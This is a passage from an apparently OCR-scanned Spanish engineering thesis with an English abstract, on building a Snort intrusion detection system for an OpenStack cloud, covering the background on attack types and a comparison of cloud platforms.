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RESUMEN

En este trabajo se disefié un sistema de seguridad de deteccion de intrusos (IDS) orientado a
analizar el trafico de la red externa de una plataforma OpenStack y se analizaron dos formas o
escenarios de implementacion; la primera, consiste en la implementacion en una instancia de
maquina virtual en la plataforma OpenStack, mientras que la segunda forma se implementod
directamente en el nodo de control. Se realizaron tres tipos de ataques para poner a prueba las
instalaciones: denegacion de servicio, SQL Injection y buffer Overflow, siendo la denegacion de
servicio el ataque con mayor influencia en el analisis. El sistema de deteccion de intrusos utilizado
fue Snort esto en base al analisis realizado entre los diferentes sistemas, de igual manera se analizo
las caracteristicas de las plataformas de nubes privadas, teniendo como resultado que OpenStack
es la plataforma idonea para el presente trabajo.

Como resultado se obtuvo que el disefio del sistema de deteccion de intrusos en el escenario del
nodo de control result6 ser mas eficiente, llegando a un porcentaje de eficiencia de 99,96% con
50 mil paquetes por segundo, en comparacion con el escenario virtualizado, que, con la misma
cantidad de paquetes llego al 21,39%. Se concluyé que la diferencia en la implementacion
consistio en la ubicacion y la forma en que se analiza el trafico de red. Siendo el escenario del

nodo de control mas eficiente y recomendado para el andlisis de trafico externo.

Palabras clave: <TECNOLOGIA Y CIENCAS DE LA INGENIERIA>, <SEGURIDAD
TELEMATICA>, <SISTEMA DE DETECCION DE INTRUSOS (IDS)>, <COMPUTACION
EN LA NUBE (OPENSTACK)>, <ATAQUES INFORMATICOS>.
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ABSTRACT

In this work, an intrusion detection security system (IDS) was designed aimed at analyzing the
traffic of the external network of an OpenStack platform and two ways or implementation
scenarios were analyzed; the first, consists of the implementation in a virtual machine instance on
the OpenStack platform, while the second way was implemented directly in the control node.
Three types of attacks were carried out to test the installations: denial of service, SQL Injection,
and buffer Overflow, with denial of service being the attack with the greatest influence on the
analysis. The intrusion detection system used was Snort, based on the analysis carried out between
the different systems, in the same way the characteristics of the private cloud platforms were
analyzed, with the result that OpenStack is the ideal platform for the present work. As a result, it
was obtained that the design of the intrusion detection system in the control node scenario turned
out to be more efficient, reaching an efficiency percentage of 99.96% with 50 thousand packets
per second, compared to the virtualized scenario. That, with the same number of packages, I
reached 21.39%. It was concluded that the difference in the implementation consisted in the
location and the way in which the network traffic is analyzed. Being the most efficient and

recommended control node scenario for external traffic analysis.

Key words: <TECHNOLOGY AND ENGINEERING SCIENCES>, <TELEMATIC
SECURITY>, <INTRUSION DETECTION SYSTEM (IDS)>», <CLOUD COMPUTING
(OPENSTACK)>, <COMPUTER ATTACKS>.
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CAPITULO 1

1. INTRODUCCION

1.1. Planteamiento del problema

Un sistema de deteccion de intrusos, IDS por las siglas en inglés de Intrusion Detection System,
puede ser implementado de diferentes maneras, bien sea en host, red o distribuidos; todo depende
de la arquitectura, infraestructura y servicio que se oferte. En una plataforma OpenStack,
orientado a la nube privada, un sistema de deteccion de intrusiones forma parte primordial para
contrarrestar los ataques e intrusiones no permitidas, pero al ser implementado de una manera
erronea este puede ocasionar un deterioro en el rendimiento de la red el cual afecta directamente

los sistemas de deteccion de intrusos (Ocampo et al., 2017).

La nube computacional como modelo ubicuo, permite el suministro de servicios a clientes que
acceden a ella de forma fécil y rapida. La infraestructura como servicio (IaaS por el término inglés
Infrastructure as a service) es uno de los modelos de mayor uso, mediante el cual las aplicaciones
se despliegan y aprovisionan por los clientes en un modelo de pago por uso (Ruiz Paz et al., 2017).
Sin embargo, la gestion de seguridad se ve afectada por la complejidad de su implementacion por

parte de usuario final.

Este trabajo se hace con el fin de disefiar y analizar un sistema para la deteccion de intrusos (IDS)

aplicado a la plataforma OpenStack.

1.2. Situacién problematica

1.2.1. Formulacion del problema

(De qué manera contribuira, el identificar ataques informaticos y la eficiencia en su deteccion, el
disefio e implementacion de un sistema de seguridad de deteccion de intrusos (IDS) para la

plataforma OpenStack utilizando codigo abierto?

1.2.2. Preguntas directrices de la investigacion
e Cuanto mejoraria la deteccion de amenazas (Denegacion de Servicio, SQL Injection, y
Buffer Overflow) al disefiar un IDS para la plataforma OpenStack?
e /Cuadles son las ventajas y desventajas de utilizar codigo abierto para la deteccion de
intrusos en la plataforma OpenStack?
e /Cuales son los riesgos mas importantes de implementar un sistema de seguridad para la

deteccion de intrusos en la plataforma Openstack?



e /Qué medidas serdn mas adecuadas para la implementacion del sistema de seguridad para

la deteccion de intrusos en la plataforma OpenStack?

1.3. Justificacion de la investigacion

1.3.1. Teorico

Debido a los grandes cambios que vienen sufriendo las Tecnologias de la Informacion (TI) por el
gran flujo de datos y operaciones que deben manejarse dentro de las organizaciones, es que surge
Cloud Computing (CC) como un modelo que tiende a proveer servicios que utilizan
eficientemente estos recursos (Chou, 2015). OpenStack es un proyecto de codigo abierto que provee
modulos necesarios para crear una plataforma de nube privada, uno de sus principales modulos
es Neutron que es el componente que se encarga de brindar la gestion y publicacion de red (Udanor

etal., 2019).

La tecnologia esta evolucionando en diferentes areas organizacionales como son los sistemas de
almacenamiento escalable (Cloud), que permite estandarizar los procesos operacionales y el
acceso a la informacion se lo puede realizar desde cualquier lugar (Awadallah, 2016). Los costos
de tecnologias de informaciéon son mas econdmicos, la velocidad de procesamiento de la
informacion y la productividad aumentan, permitiendo el acceso a multiples usuarios; de tal
manera que, resulta atractivo que las empresas cuenten con un servicio propio que garantice que
los datos almacenados sean exclusivamente de quien los emite y proteger de esta manera la
informacion de posibles violaciones a derechos de autor y pérdida de la misma, bajo estandares

que ayuden a optimizar los recursos orientandolos a un uso exclusivo (Patifio Builes, 2015).

Los estandares de seguridad y plataformas permiten el manejo de la informacion de manera
adecuada, que son requeridas por las nubes permitiendo determinar ventajas y desventajas de un

sistema creando un ambiente mas seguro y confiable en la gestion de servicios (Attaran, 2017).

Debido al aumento significativo de las actividades cibernéticas maliciosas e intrusos, los
encargados de la administracion de red, tratan de aplicar protecciones como por ejemplo un DMZ
(zona desmilitarizada), Firewalls, politicas internas, entre otras; pero este tipo de soluciones no
son 100% seguras, porque algunos ataques no son detectados por estos elementos de proteccion.
De esta forma existen tecnologias adicionales contra estos ataques maliciosos, como por ejemplo
los IDS y los IPS, los cuales son mecanismos de seguridad adicional, se caracterizan por la
incorporacion de mecanismos de inteligencia de amenazas, es decir bloqueo automatico de
paginas web, bloqueo de servidores DNS, direcciones IP de dudosa reputacion, inspeccion

profunda de paquetes, analisis de aplicaciones y archivos, etc. (Mehtre, 2019).



1.3.2. Metodolégico

El presente proyecto permitira realizar el disefio e implementacion de un sistema de seguridad
para la deteccion de intrusos (IDS) utilizando coédigo abierto en la plataforma Openstack
permitiendo mejorar en las plataformas [aaS privadas o publicas. Al final del proyecto se obtendra
un disefio de gran valor para los profesionales en el area de las telecomunicaciones, que permitira
analizar y tomar decisiones sobre todo en plataformas OpenStack y puedan ser utilizadas en

diferentes aplicaciones.

El estudio pretende beneficiar a los profesionales en el area de telecomunicaciones, brindandoles
una herramienta valiosa para la toma de decisiones para la implementacion de proyectos

relacionados a la deteccion de intrusos con diferentes plataformas y codigos.

14. Objetivos de la investigacion

1.4.1. General
Disefiar e implementar un sistema de seguridad de detencion de intrusos (IDS) para la plataforma

OpenStack utilizando cdodigo abierto.

1.4.2. Especificos
e Analizar las caracteristicas y funcionalidades de un sistema de deteccion de intrusos de
codigo abierto.
e Analizar las caracteristicas y funcionalidades de la plataforma Open Source OpenStack.
e Disefiar y elaborar un sistema de deteccion de intrusos IDS en un escenario controlado.
e Implementar en la plataforma OpenStack el sistema de detencion de intrusos IDS, en un
ambiente de pruebas y ataques controlados.

e Evaluar la implementacion del sistema de deteccion de intrusos.

1.5. Hipotesis

1.5.1. Hipdotesis General
La implementacion de un sistema de codigo abierto de deteccion de intrusos (IDS) permitira

incrementar el porcentaje de deteccion de ataques en la plataforma OpenStack.



CAPITULO 11

2. MARCO TEORICO

2.1. Marco tedrico referencial

Como referencia para el desarrollo del proyecto se recurre a los estudios y articulos cientificos
realizados sobre temas afines a sistemas de deteccion de intrusos (IDS), plataforma OpenStack y
redes definidas por software mas relevantes que respaldan la investigacion y constituyan métodos

de analisis. Entre estos trabajos se tienen los siguientes:

El objetivo de un sistema de deteccion de intrusos (IDS) es monitorear la red para detectar
comportamientos anomalos, los cuales pueden causar problemas de disponibilidad del servicio.
Snort es un sniffer que actua como sistema de deteccion de intrusos a nivel de red, entre las
principales caracteristicas esta; es software libre, cuenta con un lenguaje de creacion de reglas,

ofrece una serie de reglas y filtros predefinidos.

2.2, Antecedentes investigativos

En 2017, Alwan y Younis publicaron un articulo llamado “Detection and Prevention of SQL
Injection Attack: A Survey” que consistio en la aplicacion de una encuesta para determinar qué
ataque informatico representa una mayor amenaza para las aplicaciones. En este articulo se
examinaron los problemas de ataque existentes mas populares, se present6 un informe de encuesta
sobre los tipos clasicos y modernos de SQL Injection (SQLIA), sus métodos de trabajo y las
técnicas de deteccion y prevencion contra los tipos clasicos y modernos de ese ataque. Para la
evaluacion, se hizo una comparacion de las técnicas de deteccion y prevencion en términos de su
capacidad para detectar el ataque, prevenir el ataque o detenerlo parcialmente. En cuanto a los
resultados, la eficiencia de algunas técnicas deberia mejorarse para superar el SQLIA, ya que,
esta es una de las mayores amenazas para las aplicaciones, ya sean aplicaciones web, moviles o

de escritorio, que estan conectadas a la base de datos (Alwan & Younis, 2017).

Odun-Ayo, Falade y Samuel realizaron una investigacion titulada “Cloud Computing and Open
Source Software: Issues and Developments” acerca de la computacion en la nube y la
disponibilidad de recursos y almacenamiento en dicha nube con el uso de aplicaciones de codigo
abierto para implementar aplicaciones en la nube, la metodologia implementada en este articulo
fue a través de la revision de algunos documentos disponibles sobre computacion en la nube y
software de codigo abierto. En este articulo se examinaron las tendencias actuales en la
computacion en la nube y el software de codigo abierto y ademas proporciona una guia para

futuras investigaciones. El hallazgo de la revision es que OpenStack proporciona la



infraestructura mas completa en computacion en la nube y software de codigo abierto (Odun-Ayo

ctal., 2018).
2.3. Marco Conceptual
2.3.1. Ataques informadticos

La seguridad es un componente fundamental en la tecnologia informatica y de redes. Lo primero
y mas importante de cada red que disefa, planifica, construye y opera es la importancia de una
politica de seguridad solida. La seguridad de la red se ha vuelto mas importante para los usuarios

de computadoras personales, las organizaciones y los militares (Gaigole & Kalyankar, 2015).

Con la llegada de internet, la seguridad se convirtié en una preocupacion importante. La propia
estructura de Internet permitié que ocurrieran muchas amenazas de seguridad. La seguridad de la
red se estd volviendo de gran importancia debido a la propiedad intelectual que se puede adquirir
facilmente a través de Internet. Hay diferentes tipos de ataque que pueden ser cuando se envian a
través de la red. Al conocer los métodos de ataque, permite que surja la seguridad adecuada

(Gaigole & Kalyankar, 2015).

Muchas empresas se protegen de Internet mediante firewalls y mecanismos de encriptacion.
Existe una gran cantidad de informacion personal, comercial, militar y gubernamental sobre
infraestructuras de redes en todo el mundo y todos estos requieren diferentes mecanismos de
seguridad. En este documento, estamos tratando de estudiar la mayoria de los diferentes tipos de
ataques junto con varios tipos diferentes de mecanismos de seguridad que se pueden aplicar de

acuerdo con la necesidad y la arquitectura de la red (Gaigole & Kalyankar, 2015).

Ataque pasivo

Un ataque pasivo monitorea el trafico no encriptado y busca contrasefias de texto claro e
informacion confidencial que pueda usarse en otros tipos de ataques. El monitoreo y escucha del
canal de comunicacion por parte de atacantes no autorizados se conoce como ataque pasivo.
Incluye analisis de trafico, monitoreo de comunicaciones desprotegidas, descifrar trafico
débilmente encriptado y capturar informacion de autenticacion como contrasefias. La
interceptacion pasiva de las operaciones de red permite a los adversarios ver las proximas
acciones. Los ataques pasivos resultan en la divulgacion de informacion o archivos de datos a un

atacante sin el consentimiento o conocimiento del usuario (Gaigole & Kalyankar, 2015).

Ataque activo



En un ataque activo, el atacante intenta evitar o entrar en sistemas seguros en la comunicacion
continua. Esto se puede hacer a través del sigilo, virus, gusanos o caballos de Troya. Los ataques
activos incluyen intentos de eludir o romper las caracteristicas de proteccion, introducir codigo
malicioso y robar o modificar informacion. Los atacantes no autorizados monitorean, escuchan y
modifican el flujo de datos en el canal de comunicacion que se conoce como ataque activo. Estos
ataques se montan contra una red troncal de red, explotan informacion en transito, penetran
electronicamente en un enclave o atacan a un usuario remoto autorizado durante un intento de
conectarse a un enclave. Los ataques activos resultan en la divulgacion o difusion de archivos de

datos, DoS o modificacion de datos (Gaigole & Kalyankar, 2015).

Ataque distribuido

Un ataque distribuido requiere que el adversario introduzca cédigo, como un troyano o un
n n : 1 1 1A
programa de puerta trasera, a un componente o software "confiable" que luego se distribuira a
muchas otras compafiias y usuarios. Los ataques de distribucion se centran en la modificacion
maliciosa del hardware o software en la fabrica o durante la distribucion. Estos ataques introducen
codigo malicioso, como una puerta trasera a un producto para obtener acceso no autorizado a

informacion o a una funcion del sistema en una fecha posterior (Gaigole & Kalyankar, 2015).

Ataque interno

Segun una encuesta de Cyber Security Watch, se descubridé que las personas con informacion
privilegiada son la causa del 21 por ciento de las violaciones de seguridad, y un 21 por ciento
adicional puede deberse a las acciones de personas con informacion privilegiada. Més de la mitad
de los encuestados en otra encuesta reciente dijo que hoy es mas dificil detectar y prevenir ataques
internos que en 2011, y el 53 por ciento estaba aumentando sus presupuestos de seguridad en
respuesta a amenazas internas. Si bien un niimero significativo de violaciones son causadas por
empleados maliciosos o descontentos, o ex empleados, muchos son causados por empleados bien
intencionados que simplemente estan tratando de hacer su trabajo. Los programas BYOD vy los
servicios de colaboracion y uso compartido de archivos como Dropbox significan que serd mas
dificil que nunca mantener los datos corporativos bajo control corporativo frente a estos

empleados bien intencionados pero irresponsables (Gaigole & Kalyankar, 2015).

Ataque cercano

Un ataque cercano involucra a alguien que intenta acercarse fisicamente a los componentes, datos

y sistemas de la red para obtener mas informacion sobre una red. Los ataques cercanos consisten

6



en individuos regulares que alcanzan una proximidad fisica cercana a redes, sistemas o
instalaciones con el proposito de modificar, reunir o denegar el acceso a la informacion. Una
forma popular de cierre en ataque es la ingenieria social. En un ataque de ingenieria social, el
atacante compromete la red o el sistema a través de la interaccion social con una persona, a través
de un mensaje de correo electronico o un teléfono. El individuo puede utilizar varios trucos para
revelar informacion sobre la seguridad de la empresa. La informacion que la victima revela al
pirata informatico probablemente se utilizard en un ataque posterior para obtener acceso no

autorizado a un sistema o red (Gaigole & Kalyankar, 2015).

Ataque de spyware

Una amenaza grave para la seguridad informatica, el spyware es cualquier programa que
supervisa sus actividades en linea o instala programas sin su consentimiento para obtener
ganancias o para capturar informacion personal. Y esta informacion de captura se usa
maliciosamente como el usuario legitimo para ese tipo particular de trabajo (Gaigole & Kalyankar,

2015).

Ataque de suplantacion de identidad

En el ataque de phishing, el hacker crea un sitio web falso que se ve exactamente como un sitio
popular como el banco SBI o PayPal. La parte de phishing del ataque es que el hacker luego envia
un mensaje de correo electronico tratando de engafiar al usuario para que haga clic en un enlace
que conduce al sitio falso; cuando el usuario intenta iniciar sesion con la informacion de su cuenta,
el pirata informatico registra el nombre de usuario y la contrasefia y luego intenta esa informacion

en el sitio real (Gaigole & Kalyankar, 2015).

Ataque de secuestro

En un ataque de secuestro, un hacker se hace cargo de una sesion entre usted y otro individuo y
desconecta al otro individuo de la comunicacion; todavia cree que estd hablando con la parte

original y puede enviar informacion privada al hacker por accidente (Gaigole & Kalyankar, 2015).

Ataque de suplantacion de identidad

En el ataque de suplantacion de identidad, el pirata informatico modifica la direccion de origen
de los paquetes que esta enviando para que parezcan provenir de otra persona. Esto puede ser un

intento de eludir las reglas de su firewall (Gaigole & Kalyankar, 2015).
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Ataque de contrasefia

Un atacante intenta descifrar las contrasefias almacenadas en una base de datos de cuentas de red
o en un archivo protegido con contrasefia. Hay tres tipos principales de ataques de contrasefia: un
ataque de diccionario, un ataque de fuerza bruta y un ataque hibrido. Un ataque de diccionario
utiliza un archivo de lista de palabras, que es una lista de contrasefias potenciales. Un ataque de
fuerza bruta es cuando el atacante intenta todas las combinaciones posibles de personajes (Gaigole

& Kalyankar, 2015).

Ataque de explotacion

En este tipo de ataque, el atacante sabe de un problema de seguridad dentro de un sistema
operativo o una pieza de software y aprovecha ese conocimiento explotando la vulnerabilidad

(Gaigole & Kalyankar, 2015).

Ataques de denegacion de servicio (DoS)

Los ataques de denegacion de servicio (DoS) son el tnico tipo de comportamiento intrusivo
agresivo y amenazante para los servidores en linea. Los ataques DoS degradan severamente la
disponibilidad de una victima, que puede ser un host, un enrutador o una red completa. Imponen
tareas de computacion intensivas a la victima explotando la vulnerabilidad de su sistema o
inundandola con una gran cantidad de paquetes inttiles. La seguridad en Internet ha sido una

preocupacion para todos los usuarios (Devare et al., 2016).

Denegacion de servicios es un ataque que consume completamente la memoria para los usuarios
a los que se dirige. Este ataque que hace que algunos recursos informaticos o de memoria estén
demasiado ocupados o llenos para manejar solicitudes legitimas, o niega el acceso de los usuarios
legitimos a una maquina. Muchos ataques DoS, como los ataques Ping of Death y Teardrop,
explotan las limitaciones en los protocolos TCP / IP. Para todos los ataques DoS conocidos,
existen correcciones de software que los administradores del sistema pueden instalar para limitar

el dafio causado por los ataques (Devare et al., 2016).

DoS es legitimamente un ataque de sobrecarga de recursos que puede tener la probabilidad de
destruir el host de tal manera que no pueda comunicarse correctamente con el resto del sistema,
de esta manera los servicios pueden permanecer inaccesibles para los clientes. Este es un ataque

que altera la funcion ordinaria del sistema informatico y, por lo tanto, impide el acceso a usuarios
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autorizados. El ataque DoS puede ser definido como un incidente en el que un cliente u
organizacion se ve privado de los servicios de un recurso que esperaria tener regularmente (Babate,

2014).

Buffer Overflow

El desbordamiento de bufer (BOF) ocurre cuando una aplicacion escribe mas alla de su tamafio
preasignado durante la ejecucion del programa. Se puede usar para lanzar ataques de denegacion
de servicio u obtener privilegios de acceso de orden superior. Aunque se propusieron muchas
soluciones para abordar los errores de BOF que van desde el analisis estatico, la deteccion en
tiempo de ejecucion y los mecanismos de generacion de pruebas, sufren inconvenientes
inherentes o tienen problemas que limitan su uso por parte de los equipos de desarrollo. Por lo
tanto, BOF sigue siendo una vulnerabilidad de seguridad critica y el nimero creciente de errores
que se informan en las aplicaciones respaldan ain mas la necesidad de encontrar soluciones

complementarias que sean faciles de usar y efectivas (Padmanabhuni & Tan, 2016).

Las vulnerabilidades de desbordamiento de bufer (BOF) cuando estan presentes en el codigo
pueden explotarse para violar objetivos de seguridad como disponibilidad, confidencialidad e
integridad. Constituyen una parte sustancial de los ataques de manipulacion de entrada debido a

su presencia comun y facilidad de explotacion (Padmanabhuni & Tan, 2016).

Inyeccion de SQL

SQL Injection es una de las amenazas mas comunes para un sistema de base de datos en el que el
atacante agrega una declaracion SQL a un cuadro de entrada del formulario de solicitud, para
obtener acceso a los recursos o realizar cambios en los datos almacenados en la base de datos. La
falta de validacion de entrada en las aplicaciones hace que el atacante sea exitoso. En un ataque
de inyeccion SQL, el atacante inyecta una entrada de cadena a través de la aplicacion, lo que
cambia o manipula la declaracion SQL en beneficio del atacante. Un ataque de inyeccion SQL
puede dafiar la base de datos de varias maneras, como la manipulacion no autorizada de la base
de datos o la recuperacion de datos confidenciales. También se puede usar para ejecutar comandos
a nivel del sistema que pueden hacer que el sistema niegue el servicio a la aplicacion. Este
problema es muy arriesgado porque puede causar la pérdida de datos o el uso indebido de datos
por partes que no estan autorizadas y, como resultado, se destruyen la funcionalidad y la

confidencialidad (Alwan & Younis, 2017).



Los riesgos asociados con el SQL Injection proporcionan motivacion para que la base de datos
sea atacada. Las principales consecuencias de estas vulnerabilidades son los ataques a las
siguientes caracteristicas (Alwan & Younis, 2017):

a. Autorizacion: un SQL Injection exitoso puede alterar los datos criticos que se almacenan
en una base de datos SQL vulnerable.

b. Autenticacion: si no hay un control adecuado sobre los campos de entrada dentro de la
pagina de autenticacion, es posible iniciar sesion en un sistema como un usuario normal
sin conocer al usuario autenticado.

c. Confidencialmente: por lo general, las bases de datos consisten en datos confidenciales,
como informacion personal, numeros de tarjetas de crédito y / o nimeros sociales. Por lo
tanto, la pérdida de confidencialidad es un problema terrible con la vulnerabilidad de
inyeccion SQL.

d. Integridad: mediante un SQLIA exitoso, no solo un atacante lee informacion confidencial,
sino que también es posible cambiar o eliminar esta informacion privada.

e. Huellas digitales de la base de datos: el atacante puede determinar el tipo de base de datos
que se usa en el back-end para poder usar ataques especificos de la base de datos que

corresponden a debilidades en un sistema de administracion de base de datos particular.

2.3.2. Plataformas de Computacion en la Nube

La computacion en la nube consiste en proveer servicios, aplicaciones, datos, a través de recursos
compartidos. La definicion de computacion en la nube esta evolucionando. Segin The National
Institute of Standards and Tecnology (NIST), que es la agencia de la administracion de tecnologia
del departamento de los Estados Unidos, plantea la siguiente definicion “un modelo que permite
el acceso, bajo demanda, a un grupo compartido de recurso configurables como red,
procesamiento, almacenamiento, aplicaciones, o servicios, de una forma rapida y con una
cantidad minima de esfuerzo.”, asi mismo, Armbrust en su articulo “A View of Cloud Computing”
define a la computacion en la nube de la siguiente manera: “Las aplicaciones entregadas como
servicios sobre el internet y los recursos y sistemas en un centro de datos que proveen dicho

servicio.” (Armbrust, 2010).

El modelo de computacion en la nube se compone de cinco caracteristicas principales:
e Auto servicio bajo demanda.- comprende el auto abastecimiento de los recursos de
computo, almacenamiento y red.
e Acceso arecursos a través de una red.- una red con buenas prestaciones para el acceso a

los recursos desde cualquier plataforma.
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Agrupacion de recursos.- ofrecer el servicio a multiples clientes a los cuales se les asignan
y reajustan diferentes recursos fisicos y virtuales de manera dindmica y de acuerdo a la
demanda.

Aprovisionamiento y liberacion eléstico de las capacidades y recursos asignados.- para
escalar elasticamente en concordancia con la demanda.

Medicion, control y reporte de uso de los recursos.- garantizar una transparencia del

servicio tanto al cliente como al proveedor.

Por otro lado el modelo de computacion en la nube puede ser visualizada como una piramide de

tres secciones:

End
Users

Application
Developers

[ 1_' . Network
“'u.‘ Architects

Figura 1-2. Piramide del modelo de computacion en la nube

Realizado por: BSgrupo, Cloud Computing, 2016

Software como Servicio (SaaS).- comprende el acceso a las aplicaciones y por lo general
se usan a través de un navegador web, escritorio o cliente remoto. Es una metodologia de
entrega de software que proporciona acceso con licencia multi-tenant. Algunos ejemplos
son: redes sociales, google docs, etc.

Plataforma como Servicio (PaaS).- proporciona todo lo necesario para el desarrollo y
puesta en marcha de aplicaciones y servicios web. Permite albergar y desarrollar
aplicaciones en forma distribuida, elastica y escalable segun sea necesario. Algunos
ejemplos son: Amazon Web Service, Microsoft Azure, etc.

Infraestructura Como Servicio (IaaS).- permite disponer de hardware de forma
independiente, autobnoma, gestionada, y escalable en términos de CPU, RAM, disco, y

otros elementos. Es una alternativa a la adquisicion de servidores, equipos de red, espacio
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en un centro de datos, los clientes adquieren todos estos recursos a un proveedor de

servicios externo. Algunos ejemplos. Google Cloud Platform, Digital Ocean, etc.

2.3.2.1. Tipos de Computacion en la Nube
Existen tres diferentes tipo de computacion en la nube: nube privada, nube publica, y nube hibrida,

como se muestra en la Figura 2-2.

Private Cloud Public Cloud
On-Premises/Internal Off-Premises/External

Hybrid

Bing Map Services
ArcGIS Online Services W

ArcGIS Mobile ArcGIS Server ArcGIS Explorer Web Maps ArcGIS Desktop Maplit

Figura 2-2. Tipos de computacion en la nube

Fuente: BSgrupo, Cloud Computing, 2016

La nube publica ofrece sus servicios a una amplia gama de clientes. La naturaleza de este modelo
es similar al internet, es decir, los usuario y los servicios pueden estar en cualquier lugar de la

World Wide Web. El entorno informatico se comparte con multiple inquilinos.

Por otro lado la nube privada restringe a sus usuarios a subconjunto selecto, generalmente una
organizacion o empresa especifica. El modelo de nube privada es similar a una intranet, es decir,

sus servicios se ofrecen internamente a trabes de una red interna.

Por ultimo la nube hibrida ofrece sus servicios a una gama estrechamente definida de usuarios
privados, que si es necesario, pueden expandirse para residir en una infraestructura publica. Por
lo general los proveedores de nubes publicas pueden administrar remotamente una parte de la

infraestructura en una organizacion privada y usar la nube para copias de seguridad.
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2.3.2.2.  Plataformas de Computacion en la Nube

Entre las principales plataformas de computacion en la nube se encuentra las siguientes:

OpenStack. Es un proyecto de codigo abierto, fundamentalmente constituye un sistema
operativo para crear nubes privadas o publicas, que proporciona una solucion de
infraestructura como servicio (IaaS); de esta manera provee todos los recursos de un
centro de datos como almacenamiento, computacion y red de manera centralizada, lo cual
es escalable. Tras su lanzamiento en el 2010 se ha ido extendiendo en diferentes
contextos; inicialmente satisfacia necesidades en concreto, pero con el tiempo comenzo
a verse el potencial de esta plataforma en diferentes aspectos, por lo que proporciona una
serie de proyectos interrelacionados, controla grandes grupos de recursos de
almacenamiento, realiza multiples computos y conecta diversas redes, centralizando todo
de modo que se gestionan las actividades a través de un panel de control (Horizon) (Denton,
2015; R. Kumar et al., 2014).
OpenNebula. Comenzé como un proyecto de investigacion del grupo “Distributed
Systems Architecture” con algunas de las caracteristicas actuales. Desde el 2008 fue
lanzado como un proyecto completamente de codigo abierto. OpenNebula se encuentra
escrito en C++ lo cual permite tener un mejor rendimiento y escalabilidad. Como tipo de
nube privada OpenNebula cuanta con las siguientes caracteristicas:
o Gestion de usuarios. Permite configurar varios usuarios, que tendran acceso solo
a sus propias instancias, la capacidad de contabilizar los recursos utilizados y con
limites impuestos por cuota.
o Gestion de imagenes de maquinas virtuales. Cada imagen de disco se registra y
gestiona mediante un catalogo de imagenes centralizado.
o Gestion de red virtual. Permite definir multiples redes unidas a diferentes
interfaces fisicas, con asignacion de direccion IP estatica o dindmica
o Gestion de maquinas virtuales. Cada maquina tiene su propio conjunto de
caracteristicas (por ejemplo, CPU, memoria, almacenamiento en disco y red
virtual) y se puede iniciar en todos los hipervisores disponibles de nuestro clister.
o Gestion de servicios. Permite agrupar un grupo de maquinas virtuales para
implementarlas juntas en el momento del arranque, y cada maquina virtual se
puede configurar en el momento del arranque, sin la necesidad de asignar
diferentes imagenes de disco para maquinas similares.
o Gestion de infraestructura. Los hosts fisicos se pueden gestionar solos o
agrupados en clusteres independientes, y resulta util cuando se tiene un entorno

heterogéneo.
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Gestion de almacenamiento. Cuenta con soporte para las soluciones de
almacenamiento mas comunes que se encuentran en centros de datos como
FibreChannel, iSCSI y almacenamiento compartido como Network Attached
Storage (NAS) con soporte especifico para una gestion optima de imagenes de

disco

e VMware vCloud. Es un conjunto de productos y tecnologias que proporcionan las

herramientas necesarias para construir una nube privada/publica. Es un producto

comercial de la empresa VMware. Incluye diferentes productos y tecnologias:

O

VMware vCloud Director. Permite el aprovisionamiento de maquinas virtuales y
cuenta con la caracteristicas de computacion eléstica, proporciona una capara de
gestion de la nube.

VMware vShield Edge. Se encarga de las caracteristicas de NAT, DHCP, Web
Load Balancer. Su principal funcion es aislar los diferentes almacenes de
computacion y proporcionar conectividad VPN.

vCenter Chargeback. Funciona como medidor y controlador de uso.

VMware vSphere. Provee el hipervisor y su administracion.

vCloud API. Proporciona interoperabilidad con otras nubes y aplicaciones, se

encuentra basado en REST.

2.3.2.3.  Analisis comparativo entre plataformas de computacion en la nube

En toda solucion tecnolodgica existen plataformas de computacion en la nube tanto comerciales

como de codigo abierto, cada una con diferentes caracteristicas dependiendo del fabricante y tipo

de licenciamiento. En la Tabla 1-2 muestra un estudio comparativo respecto a las soluciones de

mayor tendencia en el mercado sobre plataforma de nubes publicas.
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Tabla 1-2. Analisis comparativo entre plataformas de computacion en la nube

Caracteristica / Plataforma | OpenStack OpenNebula VMware vCloud

Tipo de Licencia Apache License Version 2.0 Apache License Version 2.0 Propietario

Comunidad Alta Media Propietario

Interfaz Web Alta Media Alta

Tipos de Nubes Privada / Publica/ Hibrida Privada / Publica/ Hibrida Privada / Publica/ Hibrida

Incluye Firewall Modular NO SI

Tipo Virtualizador Soportado | Hyper-V, VMware, Xen, KVM, | Xen, KVM, VMWare VMWare
VirtualBox

Tecnologia de | LVM, Ceph, Gluster, NFS, ZFS, | NFS, SSH(transfer), Ceph VSAN

almacenamiento Sheepdog

Escalabilidad Alto Medio Alto

Lenguaje de programacion Python Java y Ruby -

Modelo de red Flat, Flat DHCP, VLAN DHCP VLAN Flat, VLAN, GRE

Realizado por: Cristian Miflo, 2020
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Entre las caracteristicas que se analizaron se encuentra el tipo de licencia, soporte, y el nivel
de apoyo por parte de la comunidad, estas caracteristicas tienen un enfoque econémico dado
que si son herramientas libres el soporte y la comunidad son importantes al momento de elegir
una plataforma.

Teniendo en cuenta el auto servicio como caracteristica principal de una nube privada/publica,
la interfaz de usuario forma un papel importante en la administracion de una plataforma de
nube, mientras mas amigable con el usuario mayor es la facilidad de administracion.

Del mismo modo se analizaron las caracteristicas técnicas como: tipo de virtualizador,
tecnologia de almacenamiento, escalabilidad, lenguaje de programacion y modelo de red,

siendo estas las mas importantes y sobre todo el pilar principal de una plataforma en la nube.

De acuerdo al analisis mostrado, y teniendo en cuenta el costo beneficio de las soluciones
analizadas, OpenStack es la plataforma con mayor demanda, por su arquitectura basada en
modulos permite una mayor flexibilidad e integracion. OpenStack cuenta con un soporte de
las comunidad alto, sin mencionar que empresas como IBM, DELL, Huawei colaboran con el
dicho proyecto. Por lo antes mencionado y basandonos en el analisis de la Tabla 1 la

plataforma escogida es OpenStack.
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2.3.3. Plataforma OpenStack

OpenStack fue fundado por la NASA y Rackspace Hosting, que se ha convertido rapidamente
en una comunidad global de desarrolladores de software que colaboran en un sistema operativo
de nube de codigo abierto estdndar y masivamente escalable. OpenStack se compone
principalmente de tres proyectos de software como OpenStack Compute, OpenStack Object

Storage y OpenStack Image Service (R. Kumar et al., 2014).

Openstack es un administrador de multiples hipervisores como KVM, Xen, Hyper-V y ESX]I,
y es una coleccion de herramientas para administrar y orquestar recursos en la nube;
proporciona una infraestructura como servicio (laas) y se compone de recursos tales como
recursos informaticos, de almacenamiento y de red. Openstack mantiene sus servicios lo mas
desacoplados posible, que esta disefiado para proporcionar una escalabilidad masiva. La
version 14 de OpenStack fue lanzada en octubre de 2016 bajo el nombre en clave "Newton"

(Zhang et al., 2017).

El aspecto mas importante de OpenStack relacionado con su uso como plataforma de nube
